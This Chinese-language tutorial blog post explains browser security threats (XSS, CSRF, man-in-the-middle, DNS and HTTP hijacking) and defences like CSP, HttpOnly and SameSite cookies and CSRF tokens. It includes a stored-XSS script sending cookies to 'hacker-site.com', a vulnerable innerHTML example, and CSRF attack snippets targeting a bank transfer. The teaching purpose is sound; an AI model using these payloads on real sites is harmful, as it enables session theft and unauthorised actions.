浏览器基础知识-浏览器安全

0 阅读15分钟

有哪些可能引起前端安全的问题?

  • 跨站脚本(Cross-Site Scripting,XSS)

    一种代码注入方式,为了与 CSS 区分所以被称作 XSS。

    早期常见于网络论坛,起因是网站没有对用户的输入进行严格的限制,使得攻击者可以将脚本上传到帖子让其他人浏览到有恶意脚本的页面,其注入方式很简单包括但不限于 JavaScript / CSS / Flash 等。

  • 跨站点请求伪造(Cross-Site Request Forgeries,CSRF)

    指攻击者通过设置好的陷阱,强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新,属于被动攻击。

  • iframe 的滥用

    iframe 中的内容是由第三方来提供的,默认情况下他们不受控制,他们可以在 iframe 中运行 JavaScript 脚本、Flash 插件、弹出对话框等等,这可能会破坏前端用户体验。

  • 恶意第三方库

    无论是后端服务器应用还是前端应用开发,绝大多数时候都是在借助开发框架和各种类库进行快速开发,一旦第三方库被植入恶意代码很容易引起安全问题。

什么是 XSS?(重点)

  • XSS(Cross-Site Scripting)攻击指的是跨站脚本攻击,是一种代码注入攻击。攻击者通过在网站注入恶意脚本,使之在用户的浏览器上运行,从而盗取用户的信息如 cookie 等。

  • XSS 的本质是因为网站没有对恶意代码进行过滤,与正常的代码混合在一起了,浏览器没有办法分辨哪些脚本是可信的,从而导致了恶意代码的执行。

  • 攻击者可以通过这种攻击方式进行以下操作

    1. 获取页面的数据,如 DOM、cookie、localStorage
    2. DOS 攻击,发送合理请求,占用服务器资源,从而使用户无法访问服务器
    3. 破坏页面结构
    4. 流量劫持(将链接指向某网站)
  • XSS 的攻击类型可以分为存储型、反射型和 DOM 型。

    1. 存储型:指的是恶意脚本会存储在目标服务器上,当浏览器请求数据时,脚本从服务器传回并执行。
    2. 反射型:指的是攻击者诱导用户访问一个带有恶意代码的 URL 后,服务器端接收数据后处理,然后把带有恶意代码的数据发送到浏览器端,浏览器端解析这段带有 XSS 代码的数据后当做脚本执行,最终完成 XSS 攻击。
    3. DOM 型:指的通过修改页面的 DOM 节点形成的 XSS。

存储型 XSS 的攻击步骤

  1. 攻击者将恶意代码提交到目标网站的数据库中。
  2. 用户打开目标网站时,网站服务端将恶意代码从数据库取出,拼接在 HTML 中返回给浏览器。
  3. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
  4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

场景:一个博客网站的评论区。

正常评论:用户“小明”留言:“这篇文章写得真好!”

攻击过程

  1. 攻击者“黑客”在评论区提交了一条留言,内容不是文字,而是一段脚本:
<script>
  var img=new Image();
  img.src='http://hacker-site.com/steal?data='+document.cookie;
</script>
  1. 网站后台没有对评论内容进行过滤,直接将这条包含脚本的评论存入数据库。
  2. 当任何其他用户(比如“小红”)访问这篇博客文章时,网站会从数据库加载所有评论并显示在页面上。
  3. 小红的浏览器加载了这条评论,将其作为HTML的一部分解析,执行了那段脚本。
  4. 脚本悄悄创建了一个图片请求,将小红的登录Cookie发送到了攻击者控制的服务器hacker-site.com, 攻击者就盗取了小红的会话。

反射型 XSS 的攻击步骤

  1. 攻击者构造出特殊的 URL,其中包含恶意代码。
  2. 用户打开带有恶意代码的 URL 时,网站服务端将恶意代码从 URL 中取出,拼接在 HTML 中返回给浏览器。
  3. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
  4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

这种攻击常见于通过 URL 传递参数的功能,如网站搜索、跳转等。由于需要用户主动打开恶意的 URL 才能生效,攻击者往往会结合多种手段诱导用户点击。

正常的搜索URLexample.com/search?q=ap…

页面代码(直接把请求结果放入html):

<p>您搜索的关键词是:<%= request.getParameter("q") %></p>

攻击过程

  1. 攻击者构造一个恶意URL,将搜索参数q换成一段脚本: example.com/search?q=
  2. 攻击者通过邮件、短信、社交媒体等方式,诱骗用户点击这个链接。
  3. 用户点击后,浏览器访问该URL,服务器将q参数的值(即那段脚本)直接拼接到HTML中返回。
  4. 用户的浏览器页面收到后,将其作为正常HTML解析,执行了

DOM 型 XSS 的攻击步骤

  1. 攻击者构造出特殊的 URL,其中包含恶意代码。
  2. 用户打开带有恶意代码的 URL。
  3. 用户浏览器接收到响应后解析执行,前端 JavaScript 取出 URL 中的恶意代码并执行。
  4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

场景:一个使用JavaScript从URL中获取参数并动态更新页面内容的网页。

正常URLexample.com/welcome.htm…

页面代码

<p>欢迎,<span id="greeting"></span></p>
<script>
  let name = new URLSearchParams(window.location.hash.substring(1)).get('name');
  document.getElementById('greeting').innerHTML = name; // 危险!直接注入innerHTML
</script>

攻击过程

  1. 攻击者构造一个恶意URL: example.com/welcome.htm…
  2. 诱骗用户点击此链接。
  3. 用户点击后,浏览器请求welcome.html,服务器只返回静态页面, URL中的#后面的片段(hash)不会发给服务器。
  4. 浏览器运行页面中的JavaScript代码。name变量被赋值为<img ... onerror=...>这个字符串。
  5. 代码执行 innerHTML = name,将这段字符串作为HTML插入到里。
  6. 浏览器解析新插入的HTML,发现一个标签,其src='x'是无效的, 于是触发onerror事件,执行了其中的恶意JavaScript代码。

存储型 XSS 跟反射型 XSS 的区别

存储型 XSS 的恶意代码存在数据库里,反射型 XSS 的恶意代码存在 URL 里。

DOM 型 XSS 跟反射型/存储型 XSS 的区别

DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。

如何防御 XSS?(重点)

具体措施如下:

  1. 可以从浏览器的执行来进行预防

    一种是使用纯前端的方式,不用服务器端拼接后返回(不使用服务端渲染)

    另一种是对需要插入到 HTML 中的代码做好充分的转义。对于 DOM 型的攻击,主要是前端脚本的不可靠而造成的,对于数据获取渲染和字符串拼接的时候应该对可能出现的恶意代码情况进行判断。

  2. 使用 CSP

    CSP 指的是内容安全策略,它的本质是建立一个白名单,告诉浏览器哪些外部资源可以加载和执行,从而防止恶意代码的注入攻击。我们只需要配置规则,如何拦截由浏览器自己来实现。

    通常有两种方式来开启 CSP,一种是设置 HTTP 首部中的 Content-Security-Policy,一种是设置 meta 标签的方式。

    <!-- 方式一 -->
    Content-Security-Policy: default-src 'self';
    
    <!-- 方式二 -->
    <meta http-equiv="Content-Security-Policy" content="default-src 'self'">
    

    default-src:其他指令的默认回退源。取值为'self'时,只允许来自当前域名的资源。

  3. 对一些敏感信息进行保护

    比如 cookie 使用 http-only,使得脚本无法获取(如 document.cookie API)。

    也可以使用验证码,避免脚本伪装成用户执行一些操作。

    HttpOnly 标志是在服务器向浏览器发送 Cookie 时,通过 Set-Cookie 响应头来设置的。

    // Node.js
    const express = require('express');
    const app = express();
    app.get('/login', (req, res) => {
        // 设置一个 HttpOnly 的会话 Cookie
        res.cookie('sessionId', 'your_generated_session_token_here', {
            httpOnly: true, // 关键设置
            secure: true,   // 建议同时设置:仅通过 HTTPS 传输
            sameSite: 'Strict', // 建议同时设置:防御 CSRF
            maxAge: 24 * 60 * 60 * 1000 // 有效期 24 小时
        });
        res.send('登录成功');
    });
    

    最佳实践组合:为了最大程度的安全,对于会话 Cookie,建议同时设置三个标志:

    Set-Cookie: sessionId=abc123; Path=/; HttpOnly; Secure; SameSite=Strict
    
    1. HttpOnly:防 XSS 读取。
    2. Secure:仅通过加密的 HTTPS 连接传输,防网络嗅探。
    3. SameSite=Strict:限制第三方网站发起请求时携带此 Cookie,是防御 CSRF 攻击的强力手段。

什么是 CSRF?(重点)

  • CSRF(Cross-site Request Forgery)攻击指的是跨站请求伪造攻击,攻击者诱导用户进入一个第三方网站,然后该网站向被攻击网站发送跨站请求。如果用户在被攻击网站中保存了登录状态,那么攻击者就可以利用这个登录状态,绕过后台的用户验证,冒充用户向服务器执行一些操作。

  • CSRF 攻击的本质是利用 cookie 会在同源请求中携带发送给服务器的特点,以此来实现用户的冒充。

常见的 CSRF 攻击类型

  1. GET 类型的 CSRF 攻击

    比如在网站中的一个 img 标签里构建一个请求,当用户打开这个网站的时候就会自动发起提交。

    攻击方式:利用

    <!-- 攻击者构造的恶意页面 -->
    <img src="https://bank.com/transfer?to=hacker&amount=10000" />
    

    当用户已登录银行网站并访问该恶意页面时,浏览器会自动发送带有用户 Cookie 的转账请求。

  2. POST 类型的 CSRF 攻击

    比如构建一个表单,然后隐藏它,当用户进入页面时,自动提交这个表单。

    <form id="attack" action="https://bank.com/transfer" method="POST">
      <input type="hidden" name="to" value="hacker" />
      <input type="hidden" name="amount" value="10000" />
    </form>
    <script>document.getElementById('attack').submit();</script>
    
  3. 链接类型的 CSRF 攻击

    比如在 a 标签的 href 属性里构建一个请求,然后诱导用户去点击。

    <a href="https://bank.com/delete-account">
      点击领取红包(实际是删除账户)
    </a>
    

如何防御 CSRF?(重点)

  1. 进行同源检测

    服务器根据 http 请求头中 origin 或者 referer 信息来判断请求是否为允许访问的站点,从而对请求进行过滤。当 origin 或者 referer 信息都不存在的时候,直接阻止请求。

    这种方式的缺点是有些情况下 referer 可以被伪造,同时还会把搜索引擎的链接也给屏蔽了。所以一般网站会允许搜索引擎的页面请求,但是相应的页面请求这种请求方式也可能被攻击者给利用(referer 字段会告诉服务器该网页是从哪个页面链接过来的)。

  2. 使用 CSRF Token 进行验证

    服务器向用户返回一个随机数 token,当网站再次发起请求时,在请求参数中加入服务器端返回的 token ,然后服务器对这个 token 进行验证。

    这种方法解决了使用 cookie 单一验证方式时,可能会被冒用的问题。

    但是这种方法存在一个缺点就是,我们需要给网站中的所有请求都添加上这个 token,操作比较繁琐。

    还有一个问题是一般不会只有一台网站服务器,如果请求经过负载平衡转移到了其他的服务器,但是这个服务器的 session 中没有保留这个 token 的话,就没有办法验证了。这种情况可以通过改变 token 的构建方式来解决。

  3. 对 cookie 进行双重验证

    服务器在用户访问网站页面时,向请求域名注入一个 cookie,内容为随机字符串,然后当用户再次向服务器发送请求的时候,从 cookie 中取出这个字符串,添加到 URL 参数中,然后服务器通过对 cookie 中的数据和参数中的数据进行比较,来进行验证。

    使用这种方式是利用了攻击者只能利用 cookie,但是不能访问获取 cookie 的特点。并且这种方法比 CSRF Token 的方法更加方便,并且不涉及到分布式访问的问题。

    这种方法的缺点是如果网站存在 XSS 漏洞的,那么这种方式会失效,同时这种方式不能做到子域名的隔离。

  4. 在设置 cookie 属性的时候设置 Samesite

    这种可以限制 cookie 不能作为被第三方使用,从而可以避免被攻击者利用。

    Samesite 一共有三种模式

    1. 严格模式(Strict) Cookie 在任何情况下都不可能作为第三方 Cookie 使用,在任何跨站请求中都不会发送,即使是用户点击链接跳转也不会发送 Cookie。

    2. 宽松模式(Lax) 允许部分安全的跨站请求携带 Cookie,比如导航到目标站点的 GET 请求、页面刷新/重新加载。

      不允许携带 Cookie 的情况:跨站 POST 请求、通过

      Lax 模式下,Cookie 可以在 顶级导航的 GET 请求 中发送(如点击链接),但不包括通过 iframe、img、script 等发起的请求。

    3. 无限制(None) Cookie 在所有上下文中发送;必须与 Secure 属性一起使用(仅 HTTPS)。

什么是中间人攻击?如何防范?

  • **中间人(Man-in-the-middle attack, MITM)**是指攻击者与通讯的两端分别创建独立的联系,并交换其所收到的数据,使通讯的两端认为他们正在通过一个私密的连接与对方直接对话,但事实上整个会话都被攻击者完全控制。在中间人攻击中,攻击者可以拦截通讯双方的通话并插入新的内容。

攻击过程如下:

  1. 客户端发送请求到服务端,请求被中间人截获
  2. 服务器向客户端发送公钥
  3. 中间人截获公钥,保留在自己手上,然后自己生成一个伪造的公钥,发给客户端
  4. 客户端收到伪造的公钥后,生成加密 hash 值发给服务器
  5. 中间人获得加密 hash 值,用自己的私钥解密获得真秘钥,同时生成假的加密 hash 值,发给服务器
  6. 服务器用私钥解密获得假密钥,然后加密数据传输给客户端

防范方式

  1. 使用 HTTPS 加密:在服务器端和用户浏览器之间使用 HTTPS 加密,可以防止攻击者窃取或篡改传输数据。
  2. 使用公钥密码认证:使用公钥密码认证可以确保通信双方身份的真实性,防止攻击者冒充服务器或用户进行攻击。
  3. 安装杀毒软件和防火墙:安装杀毒软件和防火墙可以帮助防御一些常见的中间人攻击。

网络劫持有哪几种?如何防范?

  • 网络劫持分为两种

    1. DNS 劫持 输入京东被强制跳转到淘宝这就属于 DNS 劫持。

      • DNS 强制解析:通过修改运营商的本地 DNS 记录,来引导用户流量到缓存服务器。

      • 302 跳转的方式:通过监控网络出口的流量,分析判断哪些内容是可以进行劫持处理的,再对劫持的内存发起 302 跳转的回复,引导用户获取内容。

    2. HTTP 劫持 比如访问谷歌但是一直有贪玩蓝月的广告。

      由于 HTTP 明文传输,运营商会修改你的 HTTP 响应内容,即加广告。

  • DNS 劫持由于涉嫌违法,已经被监管起来,现在很少会有 DNS 劫持,而 HTTP 劫持依然非常盛行,最有效的办法就是全站 HTTPS,将 HTTP 加密,这使得运营商无法获取明文,就无法劫持你的响应内容。


总结

浏览器安全是前端开发中不可忽视的重要环节,本文主要介绍了以下内容:

  • 常见的前端安全问题:XSS、CSRF、iframe 滥用、恶意第三方库
  • XSS 攻击:存储型、反射型、DOM 型的攻击原理和防御措施
  • CSRF 攻击:GET、POST、链接类型的攻击方式和防御策略
  • 中间人攻击:攻击原理和防范方法
  • 网络劫持:DNS 劫持和 HTTP 劫持的区别及防范措施

通过了解这些安全问题和防御手段,我们可以在开发过程中采取相应的措施,提高网站的安全性,保护用户的隐私和数据安全。